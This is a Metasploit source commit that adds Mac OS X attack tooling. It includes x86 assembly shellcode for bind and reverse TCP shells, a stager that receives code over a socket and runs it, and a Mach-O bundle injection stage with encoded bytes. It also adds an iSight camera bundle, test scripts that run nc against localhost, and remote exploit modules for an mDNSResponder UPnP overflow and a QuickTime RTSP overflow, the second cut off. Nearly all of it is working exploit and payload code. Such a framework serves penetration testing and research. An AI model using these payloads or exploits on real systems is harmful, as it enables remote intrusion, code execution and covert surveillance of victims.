Tons of new Mac OS X code from Dino Dai Zovi and Charlie Miller, more to follow

git-svn-id: file:///home/svn/framework3/trunk@6353 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-03-18 23:28:24 +00:00
parent 7debb6d52b
commit 13706d1bde
35 changed files with 1853 additions and 0 deletions

BIN
data/isight.bundle Normal file

Binary file not shown.

4
external/source/osx/README vendored Normal file
View File

@ -0,0 +1,4 @@
Mac OS X Payloads by Dino Dai Zovi <ddz@theta44.org>
These payloads are from "The Mac Hacker's Handbook" by Charlie Miller
and Dino Dai Zovi (Wiley 2009).

BIN
external/source/osx/isight.tar.gz vendored Normal file

Binary file not shown.

12
external/source/osx/x86/Makefile vendored Normal file
View File

@ -0,0 +1,12 @@
BINS=$(subst src/,,$(patsubst %.s,%.bin,$(wildcard src/s*.s)))
all: $(BINS)
%.bin: src/%.s
nasm -Iinclude/ -f bin -o bin/$@ $<
test: all
make -C src/test
clean:
rm -f bin/*.bin; make -C src/test clean

View File

@ -0,0 +1,15 @@
;;; assumes socket is in edi
_dup2_std_fds:
xor ebx, ebx
sub ebx, byte 1
.dup2:
inc ebx
push ebx ; filedes2
push edi ; filedes
push ebx ; spacer
mov al, 90 ; SYS_dup2
int 0x80
jb end
cmp ebx, byte 3
jne .dup2

View File

@ -0,0 +1,12 @@
_execve_binsh:
xor eax, eax
push eax ; "\0\0\0\0"
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push eax ; envp
push eax ; argv
push ebx ; path
push eax ; spacer
mov al, 59 ; SYS_execve
int 0x80

View File

@ -0,0 +1,7 @@
_exit:
;; Exit cleanly
xor eax, eax
push eax ; EXIT_SUCCESS
push eax ; spacer
inc eax
int 0x80

View File

@ -0,0 +1,296 @@
;;;
;;; Skip straight to inject_bundle when we assemble this as bin file
;;;
jmp _inject_bundle
;;; --------------------------------------------------------------------
;;; Constants
;;; --------------------------------------------------------------------
%define MAP_ANON 0x1000
%define MAP_PRIVATE 0x0002
%define PROT_READ 0x01
%define PROT_WRITE 0x02
%define NSLINKMODULE_OPTION_BINDNOW 0x1
%define NSLINKMODULE_OPTION_PRIVATE 0x2
%define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4
;;; --------------------------------------------------------------------
;;; ror13_hash(string symbol_name)
;;;
;;; Compute the 32-bit "ror13" hash for a given symbol name. The hash
;;; value is left in the variable hash
;;; --------------------------------------------------------------------
%macro ror13_hash 1
%assign hash 0
%assign c 0
%strlen len %1
%assign i 1
%rep len
%substr c %1 i
%assign hash ((((hash >> 13) | (hash << 19)) + c) & 0xFFFFFFFF)
%assign i i + 1
%endrep
%endmacro
;;; --------------------------------------------------------------------
;;; dyld_resolve(uint32_t hash)
;;;
;;; Lookup the address of an exported symbol within dyld by "ror13" hash.
;;;
;;; Arguments:
;;; hash - 32-bit "ror13" hash of symbol name
;;; --------------------------------------------------------------------
_dyld_resolve:
mov eax, [esp+4]
push eax
push 0x8fe00000
call _macho_resolve
ret 4
;;; --------------------------------------------------------------------
;;; macho_resolve(void* base, uint32_t hash)
;;;
;;; Lookup the address of an exported symbol within the given Mach-O
;;; image by "ror13" hash value.
;;;
;;; Arguments:
;;; base - base address of Mach-O image
;;; hash - 32-bit "ror13" hash of symbol name
;;; --------------------------------------------------------------------
_macho_resolve:
push ebp
mov ebp, esp
sub esp, byte 12
push ebx
push esi
push edi
mov ebx, [ebp+8] ; mach-o image base address
mov eax, [ebx+16] ; mach_header->ncmds
mov [ebp-4], eax ; ncmds
add bl, 28 ; Advance ebx to first load command
.loadcmd:
;; Load command loop
xor eax, eax
cmp dword [ebp-4], eax
je .return
inc eax
cmp [ebx], eax
je .segment
inc eax
cmp [ebx], eax
je .symtab
.next_loadcmd:
;; Advance to the next load command
dec dword [ebp-4]
add ebx, [ebx+4]
jmp .loadcmd
.segment:
;; Look for "__TEXT" segment
cmp [ebx+10], dword 'TEXT'
je .text
;; Look for "__LINKEDIT" segment
cmp [ebx+10], dword 'LINK'
je .linkedit
jmp .next_loadcmd
.text:
mov eax, [ebx+24]
mov [ebp-8], eax ; save image preferred load address
jmp .next_loadcmd
.linkedit:
;; We have found the __LINKEDIT segment
mov eax, [ebx+24] ; segcmd->vmaddr
sub eax, [ebp-8] ; image preferred load address
add eax, [ebp+8] ; actual image load address
sub eax, [ebx+32] ; segcmd->fileoff
mov [ebp-12], eax ; save linkedit segment base
jmp .next_loadcmd
.symtab:
;; Examine LC_SYMTAB load command
mov ecx, [ebx+12] ; ecx = symtab->nsyms
.symbol:
xor eax, eax
cmp ecx, eax
je .return
dec ecx
imul edx, ecx, byte 12 ; edx = index into symbol table
add edx, [ebx+8] ; edx += symtab->symoff
add edx, [ebp-12] ; adjust symoff relative to linkedit
mov esi, [edx] ; esi = index into string table
add esi, [ebx+16] ; esi += symtab->stroff
add esi, [ebp-12] ; adjust stroff relative to linkedit
;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c
xor edi, edi
cld
.hash:
xor eax, eax
lodsb
cmp al, ah
je .compare
ror edi, 13
add edi, eax
jmp .hash
.compare:
cmp edi, [ebp+12]
jne .symbol
mov eax, [edx+8] ; return symbols[ecx].n_value
sub eax, [ebp-8] ; adjust to actual load address
add eax, [ebp+8]
.return:
pop edi
pop esi
pop ebx
leave
ret 8
;;; --------------------------------------------------------------------
;;; inject_bundle(int filedes)
;;;
;;; Read a Mach-O bundle from the given file descriptor, load and link
;;; it into the currently running process.
;;;
;;; Arguments:
;;; filedes (edi) - file descriptor to read() bundle from
;;; --------------------------------------------------------------------
_inject_bundle:
push ebp
mov ebp, esp
sub esp, byte 12
mov esi, edi ; arg0: filedes
.read_size:
;; Read a 4-byte size of bundle to read
xor eax, eax
mov al, 4
push eax ; nbyte
lea edi, [ebp-4]
push edi ; buf
push esi ; s
push eax
dec eax
int 0x80
jb .read_error
cmp eax, ecx ; A zero-read signals termination
je .read_error
mov ecx, [ebp-4]
xor eax, eax
cmp ecx, eax
je .read_error ; A zero value signals termination
jmp .mmap
.read_error:
jmp .error
.mmap:
;; mmap memory
xor eax, eax
push eax
push -1
push (MAP_ANON | MAP_PRIVATE)
push (PROT_READ | PROT_WRITE)
push ecx ; size
push eax
push eax ; spacer
mov al, 197
int 0x80
jb .error
mov edi, eax ; memory buffer
mov [ebp-8], edi
;; read bundle from file descriptor into mmap'd buffer
.read_bundle:
xor eax, eax
push ecx ; nbyte
push edi ; buf
push esi ; filedes
push eax ; spacer
mov al, 3
int 0x80
jb .error
add edi, eax
sub ecx, eax
jnz .read_bundle
mov edi, [ebp-8] ; load original memory buffer
;; Now that we are calling library methods, we need to make sure
;; that esp is 16-byte aligned at the the point of the call
;; instruction. So we align the stack here and then just be
;; careful to keep it aligned as we call library functions.
sub esp, byte 16
and esp, 0xfffffff0
;; load bundle from mmap'd buffer
push byte 0 ; maintain alignment
lea eax, [ebp-8]
push eax ; &objectFileImage
push dword [ebp+12] ; size
push edi ; addr
ror13_hash "_NSCreateObjectFileImageFromMemory"
push dword hash
call _dyld_resolve
call eax
cmp al, 1
jne .error
;; link bundle from object file image
xor eax, eax
push eax
mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW)
push eax
push esp ; ""
push dword [ebp-8]
ror13_hash "_NSLinkModule"
push dword hash
call _dyld_resolve
call eax
;; run_symbol = NSLookupSymbolInModule(module, "_run")
mov ebx, eax
xor eax, eax
push eax ; "\0\0\0\0"
push 0x6e75725f ; "_run"
mov eax, esp
push eax ; sym
push ebx ; module
ror13_hash "_NSLookupSymbolInModule"
push dword hash
call _dyld_resolve
call eax
;; NSAddressOfSymbol(run_symbol)
sub esp, 12 ; maintain alignment
push eax
ror13_hash "_NSAddressOfSymbol"
push dword hash
call _dyld_resolve
call eax
;; _run(socket)
sub esp, 12 ; maintain alignment
push esi
call eax
.error:
;; Exit cleanly
xor eax, eax
push eax ; EXIT_SUCCESS
push eax ; spacer
mov al, 1
int 0x80

View File

@ -0,0 +1,61 @@
_read_exec:
;; Save some stack space
mov ebp, esp
sub esp, byte 8
.loop:
xor ecx, ecx ; clear ecx
mul ecx ; clear eax and edx
;; Read a 4-byte size of code fragment to execute
push ecx
mov esi, esp
mov al, 4
push eax ; nbyte
push esi ; buf
push edi ; s
push eax
dec eax
int 0x80
jb end
mov esi, [esp+16] ; code buffer length
;; mmap memory
xor eax, eax
push eax ; alignment spacer
push eax ; 0
dec eax
push eax ; -1
inc eax
mov ax, 0x1002
push eax ; (MAP_ANON | MAP_PRIVATE)
xor eax, eax
mov al, 7
push eax ; (PROT_READ | PROT_WRITE | PROT_EXEC)
push esi ; len
push edx ; addr
push edx ; spacer
mov al, 197
int 0x80
jb end
;; read fragment from file descriptor into mmap buffer
mov ebx, eax
add ebx, esi
.read_fragment:
push esi ; nbytes
mov eax, ebx
sub eax, esi
push eax ; buf
push edi ; s
push edx ; spacer
xor eax, eax
mov al, 3
int 0x80 ; read(edi, eax, esi)
jb end
sub ebx, eax ; Subtract bytes read to buf end pointer
sub esi, eax ; Subtract bytes read from total
jnz .read_fragment
jmp ebx

View File

@ -0,0 +1,53 @@
_shell:
;; Test if vfork() will be needed. If execve(0, 0, 0) fails with
;; ENOTSUP, then we are in a threaded process and need to call
;; vfork().
xor eax, eax
push eax ; envp
push eax ; argv
push eax ; path
push eax
mov al, 59 ; SYS_execve
int 0x80
nop
nop
cmp al, 45 ; ENOTSUP
jne .execve_binsh
.vfork:
mov al, 66 ; SYS_vfork
int 0x80 ; vfork()
cmp edx, byte 0
jz .wait
;; Both child and parent continue to run execve below. The parent
;; fails and falls through to call wait4(), the child succeeds
;; and obviously doesn't call wait4() since it has exec'd a new
;; executable.
.execve_binsh:
xor eax, eax
push eax ; "\0\0\0\0"
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push eax ; envp
push eax ; argv
push ebx ; path
push eax ; spacer
mov al, 59 ; SYS_execve
int 0x80
.wait:
;; Wait for child process to exit before continuing and crashing
xor eax, eax
push eax
mov ebx, esp
push eax ; rusage
push eax ; options
push ebx ; stat_loc
push eax ; pid
push eax ; spacer
mov al, 7
int 0x80

View File

@ -0,0 +1,32 @@
_tcp_listen:
xor eax, eax ; zero out eax and edx
cdq
push eax ; IPPROTO_IP
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push edx ; spacer
mov al, byte 97 ; SYS_socket
int 0x80
jb end
mov edi, eax ; Save server socket in esi
;; Create sockaddr_in on the stack
push edx
push edx
push 0x0100007f
push 0x12340200 ; sin_port, sin_family, sin_length
mov ebx, esp
push byte 16 ; address_len
push ebx ; address
push edi ; socket
push edx ; spacer
mov al, 98 ; SYS_connect
int 0x80 ; connect(s, saddr, 16)
jb end
;; At this point:
;; edi - connected socket

View File

@ -0,0 +1,52 @@
_tcp_listen:
xor eax, eax ; zero out eax and edx
cdq
push eax ; IPPROTO_IP
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push edx ; spacer
mov al, byte 97 ; SYS_socket
int 0x80
jb end
mov esi, eax ; Save server socket in esi
;; Create sockaddr_in on the stack
push edx
push edx
push edx
push 0x12340200 ; sin_port, sin_family, sin_length
mov ebx, esp
push byte 16 ; address_len
push ebx ; address
push esi ; socket
push edx ; spacer
mov al, 104 ; SYS_bind
int 0x80 ; bind(s, saddr, 16)
jb end
push edx ; backlog
push esi ; socket
push edx ; spacer
mov al, 106 ; SYS_listen
int 0x80
jb end
push edx ; socklen_t* address_len = NULL
push edx ; struct sockaddr* address = NULL
push esi ; socket
push edx
mov al, 30 ; SYS_accept
int 0x80
jb end
;; Leave connected socket in edi
mov edi, eax
;; At this point:
;; edi - client socket
;; esi - server socket

View File

@ -0,0 +1,6 @@
BITS 32
begin:
%include "_tcp_listen.s"
%include "_inject_bundle.s"
end:

View File

@ -0,0 +1,6 @@
BITS 32
begin:
%include "_tcp_connect.s"
%include "_inject_bundle.s"
end:

View File

@ -0,0 +1,9 @@
BITS 32
_single_bind_tcp:
begin:
%include "_tcp_listen.s"
%include "_dup2_std_fds.s"
%include "_shell.s"
%include "_exit.s"
end:

View File

@ -0,0 +1,9 @@
BITS 32
_single_bind_tcp:
begin:
%include "_tcp_connect.s"
%include "_dup2_std_fds.s"
%include "_shell.s"
%include "_exit.s"
end:

View File

@ -0,0 +1,3 @@
BITS 32
%include "_inject_bundle.s"

View File

@ -0,0 +1,8 @@
BITS 32
_single_bind_tcp:
begin:
%include "_dup2_std_fds.s"
%include "_shell.s"
%include "_exit.s"
end:

View File

@ -0,0 +1,18 @@
;;;
;;; bind_tcp - Bind TCP Stager
;;;
BITS 32
;;; --------------------------------------------------------------------
;;; bind_tcp()
;;;
;;; Listen on a TCP socket, receive subsequent stage, and execute it.
;;;
;;; --------------------------------------------------------------------
_bind_tcp:
begin:
%include "_tcp_listen.s"
%include "_read_exec.s"
end:

View File

@ -0,0 +1,18 @@
;;;
;;; bind_tcp - Bind TCP Stager
;;;
BITS 32
;;; --------------------------------------------------------------------
;;; bind_tcp()
;;;
;;; Listen on a TCP socket, receive subsequent stage, and execute it.
;;;
;;; --------------------------------------------------------------------
_bind_tcp:
begin:
%include "_tcp_connect.s"
%include "_read_exec.s"
end:

View File

@ -0,0 +1,5 @@
test: test_component server
./run_tests.sh
clean:
rm test_component server

View File

@ -0,0 +1,138 @@
#!/bin/sh
LPORT=13330
function run_payload()
{
./test_component $1 &
sleep 1
}
function test_single_bind_tcp_shell()
{
run_payload ../../bin/single_bind_tcp_shell.bin
echo "expr 1234 + 5678" | nc -4 -vv -w 5 localhost $LPORT | grep "6912"
wait
return $?
}
function test_single_reverse_tcp_shell()
{
(echo "expr 1234 + 5678" | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) &
sleep 1
(./test_component ../../bin/single_reverse_tcp_shell.bin)
wait
return $RESULT
}
function test_staged_bind_tcp_shell()
{
run_payload ../../bin/stager_bind_tcp.bin
(./write_size_and_data.rb ../../bin/stage_shell.bin ; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 localhost $LPORT | grep "6912"
wait
return $?
}
function test_staged_reverse_tcp_shell()
{
((./write_size_and_data.rb ../../bin/stage_shell.bin; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) &
sleep 1
./test_component ../../bin/stager_reverse_tcp.bin
wait
return $RESULT
}
function test_staged_bind_tcp_bundleinject()
{
# Setup
run_payload ../../bin/stager_bind_tcp.bin
# Test
TMPFILE=`mktemp isightXXXXXX` || exit 1
( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -w 5 localhost $LPORT | (dd bs=1 skip=4 of=$TMPFILE)
# Verify
file $TMPFILE | grep JPEG
RESULT=$?
# Cleanup
rm $TMPFILE
wait
return $RESULT
}
function test_staged_reverse_tcp_bundleinject()
{
# Setup
TMPFILE=`mktemp isightXXXXXX` || exit 1
(( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -l -w 5 localhost $LPORT | dd bs=1 skip=4 of=$TMPFILE) &
sleep 1
run_payload ../../bin/stager_reverse_tcp.bin
wait
# Verify
file $TMPFILE | grep JPEG
RESULT=$?
if [ $RESULT -eq 0 ]; then
# Cleanup
rm $TMPFILE
fi
return $RESULT
}
SLEEP=65
echo "==> Testing single_reverse_tcp_shell..."
test_single_reverse_tcp_shell || exit 1
echo "Sleeping $SLEEP seconds..."
sleep $SLEEP
echo "==> Testing single_bind_tcp_shell..."
test_single_bind_tcp_shell || exit 1
echo "Sleeping $SLEEP seconds..."
sleep $SLEEP
echo "==> Testing stager_bind_tcp + stage_shell..."
test_staged_bind_tcp_shell || exit 1
echo "Sleeping $SLEEP seconds..."
sleep $SLEEP
echo "==> Testing stager_reverse_tcp + stage_shell..."
test_staged_reverse_tcp_shell || exit 1
echo "Sleeping $SLEEP seconds..."
sleep $SLEEP
echo "==> Testing stager_bind_tcp + bundleinject + isight.bundle..."
test_staged_bind_tcp_bundleinject || exit 1
echo "Sleeping $SLEEP seconds..."
sleep $SLEEP
echo "==> Testing stager_reverse_tcp + bundleinject + isight.bundle..."
test_staged_reverse_tcp_bundleinject || exit 1
echo "Sleeping $SLEEP seconds..."
echo
echo "==> All tests passed successfully!"
echo

View File

@ -0,0 +1,136 @@
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
void usage(char* argv0)
{
fprintf(stderr, "usage: %s [ -t ] [ -p <port> ]\n", argv0);
}
int read_and_exec(int s)
{
int n, length;
int (*payload)(void);
fprintf(stderr, "Reading length... ");
if ((n = recv(s, &length, sizeof(length), 0)) != sizeof(length)) {
if (n < 0)
perror("recv");
else
fprintf(stderr, "recv: short read\n");
return -1;
}
fprintf(stderr, "%d\n", length);
fprintf(stderr, "Allocating buffer... ");
if ((payload = mmap(NULL, length, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0)) == (void*)-1) {
perror("mmap");
return -1;
}
fprintf(stderr, "0x%x\n", payload);
fprintf(stderr, "Reading payload... ");
if ((n = recv(s, payload, length, 0)) != length) {
if (n < 0)
perror("recv");
else
fprintf(stderr, "recv: short read\n");
return -1;
}
fprintf(stderr, "read %d bytes\n", n);
fprintf(stderr, "Executing payload...\n");
(void*)(*payload)();
return 0;
}
void* read_and_exec_thread(void* arg)
{
return (void*)read_and_exec((int)arg);
}
int create_read_and_exec_thread(int c)
{
int err;
pthread_t pthread;
void* return_value;
if ((err = pthread_create(&pthread, NULL,
read_and_exec_thread, (void*)c)) != 0) {
fprintf(stderr, "pthread_create: %s\n", strerror(err));
return -1;
}
if ((err = pthread_join(pthread, &return_value)) != 0) {
fprintf(stderr, "pthread_join: %s\n", strerror(err));
return -1;
}
}
int main(int argc, char* argv[])
{
int c, s, val, threaded = 0;
socklen_t salen;
struct sockaddr_in saddr, client_saddr;
short port = 1234;
while ((c = getopt(argc, argv, "tp:")) != EOF) {
switch (c) {
case 'p':
port = atoi(optarg);
break;
case 't':
threaded = 1;
break;
default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)) < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
val = 1;
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) {
perror("setsockopt");
exit(EXIT_FAILURE);
}
bzero(&saddr, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
saddr.sin_addr.s_addr = INADDR_ANY;
if (bind(s, (struct sockaddr*)&saddr, sizeof(saddr)) < 0) {
perror("bind");
exit(EXIT_FAILURE);
}
if (listen(s, 5) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
if ((c = accept(s, (struct sockaddr*)&client_saddr, &salen)) < 0) {
perror("accept");
exit(EXIT_FAILURE);
}
if (threaded)
exit(create_read_and_exec_thread(c));
else
exit(read_and_exec(c));
}

View File

@ -0,0 +1,76 @@
/*
* test_component: Read in a component and execute it
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
int read_and_exec_file(char* file)
{
char* buf = malloc(10000);
int f, n;
if ((f = open(file, O_RDONLY, 0)) < 0) {
perror("open");
exit(EXIT_FAILURE);
}
if ((n = read(f, buf, 100000)) < 0) {
perror("read");
exit(EXIT_FAILURE);
}
//printf("==> Read %d bytes, executing component...\n", n);
((void(*)(void))buf)();
printf("==> Done.\n");
return 0;
}
int create_read_and_exec_thread(char* file)
{
int err;
pthread_t pthread;
void* return_value;
if ((err = pthread_create(&pthread, NULL,
read_and_exec_file, (void*)file)) != 0) {
fprintf(stderr, "pthread_create: %s\n", strerror(err));
return -1;
}
if ((err = pthread_join(pthread, &return_value)) != 0) {
fprintf(stderr, "pthread_join: %s\n", strerror(err));
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
int c;
int threaded = 0;
while ((c = getopt(argc, argv, "tp:")) != EOF) {
switch (c) {
case 't':
threaded = 1;
break;
default:
fprintf(stderr, "usage: %s [ -t ] payload_bin\n", argv[0]);
exit(EXIT_FAILURE);
}
}
if (threaded)
create_read_and_exec_thread(argv[optind]);
else
read_and_exec_file(argv[optind]);
}

View File

@ -0,0 +1,9 @@
#!/usr/bin/env ruby
#
# Write data preceded by little-endian 4-byte size
#
bundle = IO::read(ARGV[0])
data = [bundle.length, bundle].pack('Va*')
STDOUT.write(data)

View File

@ -0,0 +1,100 @@
require 'msf/core'
module Msf
###
#
# BundleInject common module stub that is meant to be included in payloads that
# make use of Mach-O bundle injection.
#
###
module Payload::Osx::BundleInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Inject Mach-O Bundle',
'Version' => '$Revision$',
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
'Author' =>
[
'Dino Dai Zovi <ddz@theta44.org>',
],
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'PayloadCompat' =>
{
'Convention' => 'sockedi'
},
'Stage' =>
{
'Payload' =>
"\xe9\xc1\x00\x00\x00\x8b\x44\x24\x04\x50\x68\x00\x00\xe0\x8f\xe8"+
"\x03\x00\x00\x00\xc2\x04\x00\x55\x89\xe5\x83\xec\x0c\x53\x56\x57"+
"\x8b\x5d\x08\x8b\x43\x10\x89\x45\xfc\x80\xc3\x1c\x31\xc0\x39\x45"+
"\xfc\x0f\x84\x88\x00\x00\x00\x40\x39\x03\x74\x10\x40\x39\x03\x74"+
"\x41\xff\x4d\xfc\x03\x5b\x04\xe9\xe0\xff\xff\xff\x81\x7b\x0a\x54"+
"\x45\x58\x54\x74\x0e\x81\x7b\x0a\x4c\x49\x4e\x4b\x74\x10\xe9\xde"+
"\xff\xff\xff\x8b\x43\x18\x89\x45\xf8\xe9\xd3\xff\xff\xff\x8b\x43"+
"\x18\x2b\x45\xf8\x03\x45\x08\x2b\x43\x20\x89\x45\xf4\xe9\xbf\xff"+
"\xff\xff\x8b\x4b\x0c\x31\xc0\x39\xc1\x74\x34\x49\x6b\xd1\x0c\x03"+
"\x53\x08\x03\x55\xf4\x8b\x32\x03\x73\x10\x03\x75\xf4\x31\xff\xfc"+
"\x31\xc0\xac\x38\xe0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xef\xff\xff"+
"\xff\x3b\x7d\x0c\x75\xcf\x8b\x42\x08\x2b\x45\xf8\x03\x45\x08\x5f"+
"\x5e\x5b\xc9\xc2\x08\x00\x55\x89\xe5\x83\xec\x0c\x89\xfe\x31\xc0"+
"\xb0\x04\x50\x8d\x7d\xfc\x57\x56\x50\x48\xcd\x80\x72\x12\x39\xc8"+
"\x74\x0e\x8b\x4d\xfc\x31\xc0\x39\xc1\x74\x05\xe9\x05\x00\x00\x00"+
"\xe9\xa8\x00\x00\x00\x31\xc0\x50\x68\xff\xff\xff\xff\x68\x02\x10"+
"\x00\x00\x68\x03\x00\x00\x00\x51\x50\x50\xb0\xc5\xcd\x80\x0f\x82"+
"\x89\x00\x00\x00\x89\xc7\x89\x7d\xf8\x31\xc0\x51\x57\x56\x50\xb0"+
"\x03\xcd\x80\x72\x78\x01\xc7\x29\xc1\x75\xee\x8b\x7d\xf8\x83\xec"+
"\x10\x81\xe4\xf0\xff\xff\xff\x6a\x00\x8d\x45\xf8\x50\xff\x75\x0c"+
"\x57\x68\x81\x2a\x6b\x74\xe8\xba\xfe\xff\xff\xff\xd0\x3c\x01\x75"+
"\x4c\x31\xc0\x50\xb0\x05\x50\x54\xff\x75\xf8\x68\x91\x81\xb1\x76"+
"\xe8\xa0\xfe\xff\xff\xff\xd0\x89\xc3\x31\xc0\x50\x68\x5f\x72\x75"+
"\x6e\x89\xe0\x50\x53\x68\x9d\xf3\xd0\x4f\xe8\x86\xfe\xff\xff\xff"+
"\xd0\x81\xec\x0c\x00\x00\x00\x50\x68\x52\x58\x4e\xa5\xe8\x73\xfe"+
"\xff\xff\xff\xd0\x81\xec\x0c\x00\x00\x00\x56\xff\xd0\x31\xc0\x50"+
"\x50\xb0\x01\xcd\x80"
}
))
register_options(
[
OptPath.new('BUNDLE', [ true, "The local path to the Mach-O bundle to upload" ]),
], self.class)
end
#
# Transmits the DLL injection payload and its associated DLL to the remote
# computer so that it can be loaded into memory.
#
def handle_connection_stage(conn)
data = ""
begin
File.open(datastore['BUNDLE'], "rb") { |f|
data += f.read
}
rescue
print_error("Failed to load bundle: #{$!}.")
# TODO: exception
conn.close
return
end
print_status("Uploading bundle (#{data.length} bytes)...")
# Send the size of the thing we're transferring
conn.put([ data.length ].pack('V'))
# Send the image
conn.put(data)
print_status("Upload completed.")
# Call the parent so the session gets created.
super
end
end
end

View File

@ -0,0 +1,200 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
'Platform' => 'osx',
'DefaultOptions' => {
'SRVPORT' => 1900,
'RPORT' => 0
},
'Targets' => [
[ '10.4.8 x86', { # mDNSResponder-108.2
'Arch' => ARCH_X86,
# Offset to mDNSStorage structure
'Offset' => 21000,
'Magic' => 0x8fe510a0,
'g_szRouterHostPortDesc' => 0x53dc0,
}
],
[ '10.4.0 PPC', { # mDNSResponder-107
'Arch' => ARCH_PPC,
'Offset' => 21000,
'Magic' => 0x8fe51f4c,
'Ret' => 0x8fe41af8,
}
],
],
'DefaultTarget' => 1,
'Payload' => {
'BadChars' => "\x00\x3a\x2f",
'StackAdjustment' => 0,
'Space' => 468
}
))
register_options([
Opt::LHOST(),
OptPort.new('SRVPORT',
[true, "The UPNP server port to listen on", 1900])
], self.class)
@mutex = Mutex.new()
@found_upnp_port = false
@key_to_port = Hash.new()
@upnp_port = 0
@client_socket = nil
end
def check
#
# TODO: Listen on two service ports, one a single character
# shorter than the other (i.e 1900 and 19000). If the copy was
# truncated by strlcpy, it will connect to the service listening
# on the shorter port number.
#
upnp_port = scan_for_upnp_port()
if (upnp_port > 0)
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unsupported
end
end
def upnp_server(server)
client = server.accept()
request = client.readline()
if (request =~ /GET \/([\da-f]+).xml/)
@mutex.synchronize {
@found_upnp_port = true
@upnp_port = @key_to_port[$1]
# Important: Keep the client connection open
@client_socket = client
}
end
end
def scan_for_upnp_port
@upnp_port = 0
@found_upnp_port = false
upnp_port = 0
# XXX: Do this in a more Metasploit-y way
server = TCPServer.open(1900)
server_thread = Thread.new { self.upnp_server(server) }
begin
socket = Rex::Socket.create_udp
upnp_location =
"http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']
puts "[*] Listening for UPNP requests on: #{upnp_location}"
puts "[*] Sending UPNP Discovery replies..."
i = 49152;
while i < 65536 && @mutex.synchronize { @found_upnp_port == false }
key = sprintf("%.2x%.2x%.2x%.2x%.2x",
rand(255), rand(255), rand(255), rand(255), rand(255))
@mutex.synchronize {
@key_to_port[key] = i
}
upnp_reply =
"HTTP/1.1 200 Ok\r\n" +
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
"Location: #{upnp_location}/#{key}.xml\r\n\r\n"
socket.sendto(upnp_reply, datastore['RHOST'], i)
i += 1
end
@mutex.synchronize {
if (@found_upnp_port)
upnp_port = @upnp_port
end
}
ensure
server.close
server_thread.join
end
return upnp_port
end
def exploit
#
# It is very important that we scan for the upnp port. We must
# receive the TCP connection and hold it open, otherwise the
# code path that uses the overwritten function pointer most
# likely won't be used. Holding this connection increases the
# chance that the code path will be used dramatically.
#
upnp_port = scan_for_upnp_port()
if upnp_port == 0
raise "Could not find listening UPNP UDP socket"
end
datastore['RPORT'] = upnp_port
socket = connect_udp()
if (target['Arch'] == ARCH_X86)
space = "A" * target['Offset']
space[0, payload.encoded.length] = payload.encoded
pattern = Rex::Text.pattern_create(47)
pattern[20, 4] = [target['Magic']].pack('V')
pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
boom = space + pattern
usn = ""
elsif (target['Arch'] == ARCH_PPC)
space = "A" * target['Offset']
pattern = Rex::Text.pattern_create(48)
pattern[20, 4] = [target['Magic']].pack('N')
#
# r26, r27, r30, r31 point to g_szUSN+556
# Ret should be a branch to one of these registers
# And we make sure to put our payload in the USN header
#
pattern[44, 4] = [target['Ret']].pack('N')
boom = space + pattern
#
# Start payload at offset 556 within USN
#
usn = "A" * 556 + payload.encoded
end
upnp_reply =
"HTTP/1.1 200 Ok\r\n" +
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
"USN: #{usn}\r\n" +
"Location: http://#{boom}\r\n\r\n"
puts "[*] Sending evil UPNP response"
socket.put(upnp_reply)
puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
sleep(10)
handler()
disconnect_udp()
end
end

View File

@ -0,0 +1,157 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',
'Platform' => 'osx',
'Targets' =>
[
[ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0', {
'Arch' => ARCH_PPC,
'Ret' => 0x8fe3f88c,
'RetOffset' => 551,
'PayloadOffset' => 879
}
],
